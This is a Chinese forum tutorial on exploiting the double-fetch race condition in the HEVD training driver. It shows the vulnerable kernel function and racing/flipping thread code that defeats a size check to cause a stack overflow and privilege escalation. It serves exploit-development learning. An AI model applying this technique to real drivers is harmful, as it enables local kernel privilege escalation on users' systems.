[09] HEVD 内核漏洞之DoubleFetch(竞争条件)
2019-08-15 20:52:45 Author: bbs.pediy.com(查看原文) 阅读量:182 收藏

[原创][09] HEVD 内核漏洞之DoubleFetch(竞争条件)

1天前 199

[原创][09] HEVD 内核漏洞之DoubleFetch(竞争条件)

这一篇介绍一种比较特殊的漏洞,DoubleFetch,本质上说,这也是条件竞争(Racing Condition)漏洞的一种。

实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1

实验工具:VS2015+Windbg+KmdManager+DbgViewer

竞争条件(Race condition)是由于多个对象(线程、进程)同时操作同一资源,导致系统执行违背原有逻辑设定的行为。此类漏洞在Linux或者内核层面比较常见,当然在Windows或者Web层面也存在。尤其是一些电商网站,加入购物的竞争条件漏洞存在,则可能导致以低价购买多个商品。

了解同步知识的小伙伴应该不难理解,类比操作系统的RAW/WAR/WAW。

下面引用泉哥《漏洞战争》中的小例子:A、B两人同时向一个银行账户存款,此时卡上余额为1000元,其中A存款200元,B存款500元,正常的存款流程如下,两人存款后余额应为1700元。

  用户A  用户B  余额
  检查余额    1000元
  存入200元
   1200元
   检查余额  1200元·

  存入500元  1700元

但是如果银行没有很好的同步处理机制,那么可能造成下面的情况,造成最终存款余额为1500元,丢失200元,这是很严重的问题。 

  用户A  用户B    余额  注释
  检查余额
   1000元  Time of Check(A)
   检查余额   1000元  Time of Check(B)
  存入200元(丢失)

  1200元  TIme of Use(A)

  存入500元   1500元  Time of Use(B)

检查余额的时间可以称为“Time of Check”,存款的时间可以称为“Time of Use”,则该问题可为“TOCTOU”或者“TOTTTOU”,属于竞争条件漏洞。

此类漏洞常见于各类IO操作,如文件操作、网络访问等。

如果攻击者能在某个对象的Time of Check和Time of Use之间争得时间,在此时间内获得操作的机会,那么就有可能破坏程序原定的处理逻辑。比如相对用户B来说,TOU(A)就是对其的破坏行为,使得本应存入的200元被丢弃;同理相当于与用户A,TOU(B)就是对其的破坏行为,只是检查余额是个无害行为,假如它刚好也是个存款行为,那么这笔钱也会被“无效掉”,如下所示,我们将用户B的行为互换,存入的500元也会丢失。


  用户A  用户B  余额 注释
  检查余额    1000元   Time of Check(A)
   存入500元(丢失)   1500元   Time of Use(B)
  存入200元    1200元   Time of Use(A)
   检查余额   1200元   Time of Check(B)
  

熟悉编程的小伙伴应该知道互斥锁、自旋锁、信号量等概念,他们的出现就是为了解决同步问题,保证某一对象在对特定资源进行访问时,其他对象不能访问操作该特定资源,保证正常同步操作处理。

首先,看下IDA中,驱动程序流程:

注意到 IrpDeviceIoCtlHandler派遣历程中,loc_156BF跳转至我们的漏洞函数,我们找到引用:


ecx为我们的IO控制码,那么稍微推理一下,ecx大于0x222027,小于0x2223B,再往下,可以看到其精确等于0x22202B+4+4+4=0x222037。

我们验证一哈:

#define FILE_DEVICE_UNKNOWN             0x00000022 
#define METHOD_NEITHER                  3
#define FILE_ANY_ACCESS                 0
#define HACKSYS_EVD_IOCTL_DOUBLE_FETCH                    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80D, METHOD_NEITHER, FILE_ANY_ACCESS)


#define CTL_CODE( DeviceType, Function, Method, Access ) (                 \
    ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)


进入漏洞函数,我们看一下流程:


esi为唯一参数,取出参数变量地址+4处成员,与0x800比较,现在看起来好像没有什么问题,但仔细一想,好像和之前不太一样,少了一个参数,那么如果当前参数为用户缓冲区地址,那么大小怎么来确定呢,而取出来的成员又是什么呢?如果成员是缓冲区大小,那么多线程的情况下,多次调用DeviceIoControl改变此成员的值,就有可能绕过缓冲区长度检查,形成漏洞。下面是DoubleFetch.c文件中的漏洞函数。

__declspec(safebuffers)
NTSTATUS
TriggerDoubleFetch( _In_ PDOUBLE_FETCH UserDoubleFetch)
{
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = { 0 };

#ifdef SECURE
    PVOID UserBuffer = NULL;
    SIZE_T UserBufferSize = 0;
#endif
    PAGED_CODE();
    __try
    {

        // Verify if the buffer resides in user mode
        ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR));

        DbgPrint("[+] UserDoubleFetch: 0x%p\n", UserDoubleFetch);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
        UserBuffer = UserDoubleFetch->Buffer;
        UserBufferSize = UserDoubleFetch->Size;

        DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserBufferSize);

        if (UserBufferSize > sizeof(KernelBuffer))
        {
            DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserBufferSize);

            Status = STATUS_INVALID_PARAMETER;
            return Status;
        }
        // Secure Note: This is secure because the developer is fetching
        // 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user
        // mode just once and storing it in a temporary variable. Later, this
        // stored values are passed to RtlCopyMemory()/memcpy(). Hence, there
        // will be no race condition
        //
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);
#else
        DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserDoubleFetch->Buffer);
        DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserDoubleFetch->Size);

        if (UserDoubleFetch->Size > sizeof(KernelBuffer))
        {
            DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserDoubleFetch->Size);

            Status = STATUS_INVALID_PARAMETER;
            return Status;
        }

        DbgPrint("[+] Triggering Double Fetch\n");

        //
        // Vulnerability Note: This is a vanilla Double Fetch vulnerability because the
        // developer is fetching 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size'
        // from user mode twice and the double fetched values are passed to RtlCopyMemory()/memcpy().
        // This creates a race condition and the size check could be bypassed which will later
        // cause stack based buffer overflow
        //
        RtlCopyMemory((PVOID)KernelBuffer, UserDoubleFetch->Buffer, UserDoubleFetch->Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
    return Status;
}

可以看到,用户层的传来的参数为UserDoubleFetch,发现其结构为

typedef struct _DOUBLE_FETCH
{
    PVOID Buffer;
    SIZE_T Size;
} DOUBLE_FETCH, *PDOUBLE_FETCH;

那么,和我们的猜想是一致的,构成DoubleFetch漏洞。

结合前面的分析,我们使用多核测试环境,注意这是必要的。(开始测试时,使用的单核Win7虚拟机,怎么测试都不成功,看了下源码,才发现代码中是有多核条件限制的)。

 SYSTEM_INFO SystemInfo;
 GetSystemInfo(&SystemInfo);
 return (ULONG)SystemInfo.dwNumberOfProcessors;

整理一下思路,我们通过多线程对要传入内核的用户模式缓冲区的size进行修改,在第一个竞争线程的Time of Check时间和Time of User之间,翻转线程在ring3修改size值,第二个竞争线程重新传入内核,即越过长度检查限制,从而造成缓冲区溢出,实现漏洞利用。

具体代码参考这里,下面给出两个线程代码:

DWORD WINAPI FlippingThread(LPVOID Parameter) 
{
    DEBUG_INFO("\t\t\t[+] FlippingThread Scheduled On Processor: %d\n", GetCurrentProcessorNumber());

    while (!ExploitSuccessful) 
	{
        *(PULONG)Parameter ^= 0x00000A24;
    }

    return EXIT_SUCCESS;
}

//竞争线程
DWORD WINAPI RacingThread(LPVOID Parameter) 
{
    HANDLE hFile = NULL;
    ULONG BytesReturned;
    BOOL Success = FALSE;
    HANDLE hThread = NULL;
    PDOUBLE_FETCH UserDoubleFetch = NULL;
    PRACING_THREAD_PARAMETER RacingThreadParameter = NULL;

    RacingThreadParameter = (PRACING_THREAD_PARAMETER)Parameter;

    hFile = RacingThreadParameter->DeviceHandle;
    UserDoubleFetch = RacingThreadParameter->DoubleFetch;

    DEBUG_INFO("\t\t\t[+] RacingThread Scheduled On Processor: %d\n", GetCurrentProcessorNumber());

    OutputDebugString("****************Kernel Mode****************\n");

    while (!ExploitSuccessful) 
	{
        // It's best to flush TLB Cache in Racing Thread
        EmptyWorkingSet(GetCurrentProcess());

        Success = DeviceIoControl(hFile,
                                  HACKSYS_EVD_IOCTL_DOUBLE_FETCH,
                                  (LPVOID)UserDoubleFetch,
                                  0,
                                  NULL,
                                  0,
                                  &BytesReturned,
                                  NULL);
    }

    OutputDebugString("****************Kernel Mode****************\n");

    return EXIT_SUCCESS;
}

发现关于缓冲区溢出的内核漏洞,VS环境下编译的版本有问题时,可以测试第二版,可以看到提权成功。

[招聘]欢迎市场人员加入看雪学院团队!

最后于 1天前 被Saturn丶编辑 ,原因:


文章来源: https://bbs.pediy.com/thread-253850.htm
如有侵权请联系:admin#unsafe.sh